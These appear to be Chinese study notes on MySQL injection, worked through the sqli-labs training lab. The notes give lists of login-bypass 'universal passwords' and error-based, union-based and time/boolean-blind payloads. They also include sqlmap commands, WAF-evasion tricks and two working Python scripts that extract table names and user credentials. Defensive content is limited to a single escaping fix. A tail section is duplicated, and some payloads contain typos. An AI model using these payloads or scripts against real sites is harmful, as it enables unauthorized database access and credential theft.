Mysql注入基本知识点
常用sql语句
增删改查
select 列名 from 表名 where 字段1='条件1'and字段2='条件2'
insert into tablename(列1,列2...) values(值1,值2...)
update 表名 set 列名 = 新值 where 列名 = 某值 #修改数据
delete from 表名 where 列名 = 值 #删除某列
drop database 库名 #删除库
注释
内联注释:/*! SQL语句*/ 只有mysql可以识别,常用来绕过WAF
select * from artcles where id = -1 /*!union*//*!select*/ 1,2,3,4
常用函数
常用聚合函数
前面都要加select!
user():查看当前Mysql登录用户名
database():查看当前使用数据库名
version():查看当前mysql版本
关键字
limit m,n 从m行开始,到m+n行(一般用于浏览网页,一页放不下那种)
select * from admin limit 2,1; #即返回索引2开始的1行内容
注入原理
一般特征:
输入用户名、密码
都要跟数据库交互,所以一般可能会有注入漏洞
登录sql语句:
select * from admin where username = '用户输入的用户名' and password = '用户输入的密码'
用户输入的内容可由用户自行控制,如可以输入:
'or 1=1 -- (空格)
此时有sql语句:
select * from admin where username = '' or 1=1 -- ' and password = '用户输入的密码'
其中1=1永远为真,“-- ”后面的内容不再执行所以返回admin中的所有内容
万能密码
NT
万能密码注入也可以做成字典burp爆破出来!!!
asp aspx万能密码
- "or “a”="a
- ')or(‘a’='a
- or 1=1–
- 'or 1=1–
- a’or’ 1=1–
- "or 1=1–
- ‘or’a’='a
- “or”="a’='a
- ‘or’’=’
- ‘or’=‘or’
- 1 or ‘1’=‘1’=1
- 1 or ‘1’=‘1’ or 1=1
- 'OR 1=1%00
- "or 1=1%00
- 'xor
- 新型万能登陆密码
用户名 ’ UNION Select 1,1,1 FROM admin Where ‘’=’ (替换表名admin)
密码 1
Username=-1%cf’ union select 1,1,1 as password,1,1,1 %23
Password=1
17 …admin’ or ‘a’='a 密码随便
PHP万能密码
- ‘or’=‘or’
- 'or 1=1/* 字符型 GPC是否开都可以使用
- User: something Pass: ’ OR ‘1’='1
jsp万能密码
- 1’or’1’='1
- admin’ OR 1=1/*
- 用户名:admin 系统存在这个用户的时候 才用得上 密码:1’or’1’='1
修复方案
修改根目录下的post.php文件
$user =$_POST[‘user’];修改成
$user = mysql_real_escape_string($_POST[‘user’]);
CMS逻辑
index.php首页展示内容,具有文章列表(连接具有文章id)article.php文章详细页,URL中article.php?id=文章id 读取id文章
sql注入验证(判断是否存在SQL注入漏洞)
- 单引号 ’
- and 1=1
- and 1=2
若页面出现mysql报错,证明该页面存在SQL注入漏洞
sqlmap
检测和利用SQL注入漏洞的强大工具
报错注入
依据注入位置数据类型分类:
- 数字型
- 字符型
3种注入方法
extractvalue:
第一个参数传入目标xml文档,第二个参数用Xpath路径法表示查找路径
利用concat函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出
函数里面不能有“~”,所以利用此构造报错
eg.nsnctf-easy_search
1/**/and/**/(extractvalue(1,concat(0x7e,database(),0x7e)))/**/limit/**/0,1
updatexml
——返回替换的XML片段
updatexml(xml,target,xpath_expr,new_xml)
xml_target:: 需要操作的xml片段
xpath_expr: 需要更新的xml路径(Xpath格式)
new_xml: 更新后的内容
与上面extractvalue函数一样,当xpath路径语法错误时就会报错,报错内容含有错误的路径内容
关于floor()报错注入,你真的懂了吗? - SecPulse.COM | 安全脉搏
原理:rand和order by或group by的冲突
select rand(); 产生0-1随机数(伪随机,括号里面写随机数种子后就固定了)
floor():返回小于等于该值的最大整数
floor(rand(0)*2):rand() 是返回 0 到 1 之间的随机数,那么乘 2 后自然是返回 0 到 2 之间的随机数,再配合 floor() 就可以产生确定的两个数了。也就是 0 和 1。、
group_by:对数据进行分许(相同为一组),与count()结合使用
count():统计表中记录的一个函数,返回匹配条件的行数
cout(*):包括所有列
eg.
mysql遇到该语句时会建立一个虚拟表。该虚拟表有两个字段,一个是分组的 key
,一个是计数值 count(*)
。也就对应于上个截图中的 prod_price 和 count(*)。
在查询数据的时候,首先查看该虚拟表中是否存在该分组,如果存在那么计数值加1,不存在则新建该分组
floor(rand(0)*2的作用就是产生预知的数字序列
01101
,然后再利用rand()
的特殊性和group by
的虚拟表,最终引起了报错
GET
GET基于报错的SQL注入发现
通过在URL中修改对应的ID值,为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜杠(\)来探测URL中是否存在注入点
例题:sqlilab less1~4
猜测对应语句
sqlilab
- 基于错误的GET单引号字符型注入
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MAyYpdhW-1630823323133)(注入.assets/image-20210719233842524.png)]
分析报错信息:
''14'' LIMIT 0,1' 一前一后两个引号与报错语句没有关系,中间的是真正出错的语句
'14'' LIMIT 0,1 --->由此可猜测sql语句
去掉一个引号,还剩一对,所以原来有引号,可以确定输入的参数被存放到一对单引号中间
SQL:
select login_name,password from admin where id='14' limit 0,1;
- 基于错误的GET整型注入
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pTDJPo8H-1630823323138)(注入.assets/image-20210719234231570.png)]
这次问题出在传入的id的后面(传入id=14‘)
'' LIMIT 0,1' ----> ' LIMIT 0,1
说明前面完整,多一个引号,猜测原语句:
select login_name,password from admin where id=14 limit 0,1;
- 基于错误的GET单引号变形字符型注入
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wP3qYbyQ-1630823323140)(注入.assets/image-20210719234505741.png)]
''14'') LIMIT 0,1' ---> '14'') LIMIT 0,1
有括号,去掉一个引号变成 : ’ 14’) LIMIT 0,1
要闭合这个括号,就要在全句中用"("来闭合,所以猜测:
select login_name,password from admin where id=('14') limit 0,1;
传入:“?id=14) – ”闭合括号然后让后面注释
(后面空格可以用加号“+”,也可以用%20)
- 基于错误的GET双引号字符型注入
输入:14’、14)、14‘)都不报错,则考虑可能用双引号闭合了输入,使输入的任何数据都当做字符串处理
mysql中“”引起的字符串,若传入结果为“1’))”不管1后面有什么字符(只要不是数字)在这里都会被转为数字1,所以不会报错
都不会报错时,就要用双引号或反斜杠尝试(\”,会转义为正常的引号,而不是sql语句中的引号)
双引号:use near '"14"") LIMIT 0,1' at line 1
反斜杠:use near '"14\") LIMIT 0,1' at line 1
以斜杠为例进行分析:sql语句中为
"14\") LIMIT 0,1 明显是双引号
所以猜测sql语句为:
select login_name,password from admin where id=("14") limit 0,1;
GET基于报错的SQL注入利用
- 利用order by判断字段数 eg.id=1 order by 猜测的数字
- 利用union select联合查询,获取表名
0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=databases() --+
- 利用union select联合查询,获取字段名
0' union select 1,group_concat(column_name),3 from information_schema.columes where table_name='users' --+
- 利用union select联合查询,获取字段值
0' union select 1,group_concat(username,0x2a,password),3 from users--+
利用sqlmap测试
sqlmap -u “http://sqlilabs/Less-1/?id=1” --dbs --batch
–dbs:探测数据库
–batch:表示使用默认回答,否则会经常让选y或n
- 探测出数据库后,在选择可以数据库进一步探测。此时参数:
-D 数据库名 – tables:探测哪个库中的什么表
POST
与GET区别:注入点位置发生变化,在浏览器中已经无法直接进行查看和修改
例题:sqlilabs-11、12
sqlmap
复制burp阶段的HTTP请求数据包到文本文件中,使用
sqlmap -r 文件路径 -p 指定探测参数
知道基于错误,也可以指定探测技术:–technique -E
查看当前使用的数据库名称:–current-db
HTTP头中的sql注入
一些网站代码对输入进行了过滤,但未对HTTP进行过滤
一般获取头部的信息用于数据分析,但是通过请求头部也可以向数据库发送查询信息,通过构造恶意语句可以对数据库进行信息查询。
条件:
- 能够对请求头消息进行修改,
修改的请求头信息能够带入数据库的查询
数据库没有对输入的请求信息做过滤
分类
UA注入
给显示了IP,可能会跟网络上的东西有关——>抓包、HTTP
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jLTwuZKu-1630823323142)(注入.assets/image-20210819120958192.png)]
只有登录成功才会有报错语句
正确回显中有UA回显
分析源码:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7GbJnVRR-1630823323143)(注入.assets/image-20210819172203161.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-neEB27sJ-1630823323144)(注入.assets/image-20210819172219667.png)]
POST的uname和passwd都做了check_input()处理,表单不存在注入点
登录成功后,insert语句出错还会返回mysql的错误信息
不论是否登录成功,都会回显IP。
登陆成功后回显uagent,并将uagent、IP、uname插入到security数据库的uagents表的uagent、ip_address、username三个字段中。
且这里要输入正确的账号和密码才能绕过账号密码判断,进入处理UA部分。与现实中登录注册再注入较为贴合。所以注入点就在UA处,且为单引号型报错注入
referer注入
' or '1'='1
验证:' or (length(database()))>8 or if(1=1,sleep(5),null) or '1'='1
Cookie注入
服务器可以利用Cookie包含信息的任意性来筛选并经常维护这些信息,以判断在HTTP传输中的状态
Cookies最典型的应用是判定注册用户是都已经登录网站,用户可能会得到提示,是否在下一次进入此网站时保留用户信息以便简化登录手续;另一个重要应用场合是“购物车”之类处理,用户可能会在一段时间内在同一家网站的不同页面中选择不同商品,这些信息都会写cookies,以便在最后付款时提取信息
F12在控制台直接输入document.cookie可以获取当前页面cookie信息
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XqsW5LN2-1630823323145)(注入.assets/image-20210827103030072.png)]
直接cookie
注入代码分析
代码中使用Cookie传递参数,但未对Cookie中传递的参数进行过滤操作,导致SQL注入漏洞产生
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rVyXX1fJ-1630823323146)(注入.assets/image-20210827103151837.png)]
Cookie base64注入
base64编码:从二进制到字符的过程,可用于在HTTP环境下传递较长的标识信息
base64是一种基于64个可打印字符来表示二进制数据的方法
将原始内容转换为二进制,从左到右一次取6位,然后在最高位补2位0.形成新的内容
编码规则:
- 把3个字符变成4个字符
- 每76个字符加一个换行符
- 最后的结束符也要处理
注入代码分析
base64_decode(str):PHP中用于解密Base64加密字符串的函数
传入的cookie是base64加密后的,则先加密注入语句在放到cookie里
可以先传带"\"的:admin\,看如何闭合
注入
将请求放到txt里,注入处加“*”
sqlmap -r D:\C-from\桌面\target.txt --level 3 --batch --tamper base64encode
–tamper base64encode:将出入的所有数据都进行base64加密
sqlmap
- 自动搜索POST表单注入:
sqlmap -u "题目链接" --forms
- 指定参数探测sql注入
sqlmap -u "题目链接" --data "n=1&p=1"
- HTTP
指定注入位置进行注入,在保存的文件中,对于参数的修改为*
即Referer:*
测试文件时输入:
sqlmap -r C:\Users\86185\Desktop\test.txt
此时是-r不是链接的-u,且放完整路径不带引号
盲注(blind SQL)
向数据库发送true或false的问题,根据应用程序返回的信息判断结果
存在背景:应用程序配置为只显示常规错误,没有解决SQL注入存在的代码问题
(不返回sql库中查询到的信息,而返回特定的语句)
如查询到为true,返回you are in等
分类:布尔盲注、时间盲注
如:例题less-8
- 输入测试
id=1 : you are in
id=1’ 1\都没有显示
即正确时返回you are in,错误没有回显,且语句应为字符型
常用方法
if
1. 查询: if(查询语句,1,sleep(5))
若查询语句为真,直接返回结果,若查询语句为假,则过5秒返回
2. 判断: if(expr1,expr2,expr3)
判断语句,若第一个语句正确就执行第二个语句,错误则执行第三个语句
判断类型常用语句
常用判断语句:
’ and if(1,sleep(5),1) %23
’ and if(1=0,1,sleep(10)) --+
" and if(1=0,1, sleep(10)) --+
) and if(1=0,1, sleep(10)) --+
') and if(1=0,1, sleep(10)) --+
") and if(1=0,1, sleep(10)) --+
猜测字符常用语句
select length(database())
select substr(database(),1,1)
select ascii(substr(database(),1,1)) > N (大于、小于、等于)
猜测有几张表:
if((select count(table_name) form information_schema.tables where table_schema=database())=2,sleep(3),1)
这里表示,若是2张表,则休眠3秒
类型
NT:判断是字符还是数字时要多次构造表达式,使其出现错误回显
语句:select * from table where id='{ID}'
输入:1 and 1=1 # 就变成select * from table where id='1 and 1=1 #'
此时,即使有注释符,后面也不会被注释,会被当做字符串的内容
等价于select * from table where id='1'
1' and 1=1 #
等价于 select * from table where id='1' and 1=1
当闭合后可以有错误回显时,可以考虑用这个进行布尔盲注
GET
时间盲注
if(ascii(substr(database(),1,1)=115,1,sleep(3))):当数据库名第一个字符的ASCii码是115时,执行一次sleep
含义:
if(判断表达式):判断结构
里面表达式:第二个参数是在第一个参数是true的情况下的执行次数(这里115,1,sleep的1是第二个,即115句是true时,执行一次),执行的内容是第三个参数(即后面的sleep)
substr:3个参数:“所取的字符串,起始位,所取个数”,这里是去database的第一个字符(所取个数要算本身,mysql里面起始从1开始)
借此通过枚举来判断名字的各个字符获取数据
**例题:**less-9、10
正常传入id=1,没有数据显示,只有特定语句
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OFtQNjqo-1630823323148)(注入.assets/image-20210720131441866-1626758082366.png)]
考虑可能是盲注,先试时间盲注(F12看网络)
正常时
加入盲注判断语句:
?id=1'if(ascii(substr(databses(),1,1)=115,1,slleep(3)))
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RCFWloP1-1630823323149)(注入.assets/image-20210720131625247.png)]
可以借此时间差来判断猜测是否为真
对于less-10,只需要改变闭合语句
?id=1" and if(ascii(substr(database(),1,1))=115,1000,sleep(3)) --+
布尔盲注
更便捷
NT:
在sql语句命令行中,仅用这一条语句要有select,即select length;但是注入时,在url中控制,由于是传入后台处理,后台有select语句,所以不用写select,直接and即可
**例题:**LESS-8
id=1' and length(database()) = 8 --+
若为true则正确显示you are in,false则没有回显
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xZODm9Fj-1630823323150)(注入.assets/8F7I7VYPONB]ZDEH2[2{VNX.png)]
长度:1' and length({str_to_guess})={i}--+
内容:1' and ascii(substr({str_to_guess},{i},1)) > {mid} --+
用and连接!
附脚本模板:less8
import requests
base_url = "http://sqlilabs/Less-8/"
# str_to_guess = "database()"
str_to_guess = "(select group_concat(table_name) from information_schema.tables where table_schema=database())"
# str_to_guess = "(select group_concat(column_name) from information_schema.columns where table_name='users')"
# str_to_guess = "(select group_concat(username,0x3a,password) from users)"
for i in range(1,999):
payload = f"1' and length({str_to_guess})={i}--+"
url = f"{base_url}?id={payload}"
# txt = requests.get(url).text
if "You are in" in requests.get(url).text:
str_len = i
print(f"length is {i}")
break
else:
print(f"tring {i}")
str_lst = []
for i in range(1,str_len+1):
low=1
high=128
while low<high:
mid = (low+high)//2
payload = f"1' and ascii(substr({str_to_guess},{i},1)) > {mid} --+"
url = f"{base_url}?id={payload}"
if "You are in" in requests.get(url).text:
low = mid+1
else:
high = mid
print(f"字符为:{chr(low)}")
str_lst.append(chr(low))
print("结果:","".join(str_lst))
# 1' select ascii(substr({str_to_guess},{i},1)) > {mid}
post
时间
在存在注入点POST提交的参数后+and if(length(database())>5,sleep(5),null)
若执行的页面响应时间大于5s,则肯定存在注入,且对应的sql语句执行
admin' and (select (if(length(database())>5,sleep(5),null))) --
布尔
在存在注入点POST提交的参数后 + if判断正误的语句
select length(database())
select substr(databsee(),1,1)
select ascii(substr(database(),1,1))
select ascii(substr(database(),1,1)) > N
select ascii(substr(database(),1,1)) = N
select ascii(substr(database(),1,1)) < N
附脚本模板:less10
import requests
import time
base_url = "http://sqlilabs/Less-10/"
# str_to_guess = "(select group_concat(table_name) from information_schema.tables where table_schema=database())"
# str_to_guess = "(select group_concat(column_name) from information_schema.columns where table_name='users')"
str_to_guess = "(select group_concat(table_name) from information_schema.tables where table_schema=database())"
TIMEOUT = 0.2
for i in range(1,999999999999999):
payload = f'1" and if(length({str_to_guess})={i},sleep({TIMEOUT}),null) %23'
url = f'{base_url}?id={payload}'
time_start = time.time()
request = requests.get(url)
time_end = time.time()
if time_end-time_start > TIMEOUT:
str_len = i
break
else:
print(f"tring {i}")
print(f"length is : {str_len}")
print("start content:")
value ="abcdefghigklmnopqrstuvwxyz@,_."
str_lst = []
for i in range(1,str_len+1):
s = ""
for v in value:
payload = f'1" and if(substr({str_to_guess},{i},1)="{v}",sleep({TIMEOUT}),0) %23'
url = f"{base_url}/?id={payload}"
time_start = time.time()
re = requests.get(url)
time_end = time.time()
if time_end-time_start > TIMEOUT:
print(v,end=" ")
s += v
break
str_lst.append(s)
print(f"content is: ")
print("".join(str_lst))
sqlmap
基于时间:–technique T --dbs
指定技术–technique , T表示time,基于时间
若不指定,会使用所有技术进行探测,此时时间较慢
B:bool
E:error报错
U:union注入
S:堆叠
T:时间
Q:对应查询
post注入形式:
- 直接用网址
sqlmap -u "网址" --data "a=1&b=2"
问题:在注入sqlilabs-less15时,下不去,要加两个参数 --level 3 --risk 3
才可继续注入
- 将POST报文写到txt问价中
注入读写文件
P6
读取前提:
-
文件读写操作前提要权限足够高(尽量有root权限)
-
secure_file_priv不为NULL
先查询:[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-H1c48mQi-1630823323151)(注入.assets/image-20210723153444700.png)]
默认值为NULL,修改为。。就可以读取web站点上的任意目录和文件
绕过手段
若程序中设置了过滤关键字,但过滤过程中没有对关键字组成组成深入分析处理
-
大小写过滤
若程序中设置了过滤关键字,但过滤过程中没有对关键字组成组成深入分析处理
eg. AnD 1=1
-
双写绕过——程序中出现关键字之后替换为空
eg.union——>uniunionin 可以结合大小写绕过一起用
- 编码绕过
使用编码对用户输入内容进行加密,服务器端再解密
可以利用网络中的URL在线编码,绕过过滤
- 内联注释绕过
mysql中内容注释中的内容可以被当做sql语句执行——/*! */
eg.
Post Update语句注入
update语句用来修改表中的数据:
update 表名 set 列名1=新值1,列名2=新值2 where 更新条件
eg.less17过滤函数
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
update注入一般用updatexml进行报错注入
uname=Dumb&passwd=1' or updatexml(1,concat(0x7e,version(),0x7e),1)#
这里只要uname正确,passwd没要求
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wafYw14C-1630823323152)(注入.assets/image-20210827003135143.png)]
还可以用sqlmap:sqlmap -r D:\C-from\桌面 -p passwd
*! */
eg.
Post Update语句注入
update语句用来修改表中的数据:
update 表名 set 列名1=新值1,列名2=新值2 where 更新条件
eg.less17过滤函数
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
update注入一般用updatexml进行报错注入
uname=Dumb&passwd=1' or updatexml(1,concat(0x7e,version(),0x7e),1)#
这里只要uname正确,passwd没要求
[外链图片转存中…(img-wafYw14C-1630823323152)]
还可以用sqlmap:sqlmap -r D:\C-from\桌面 -p passwd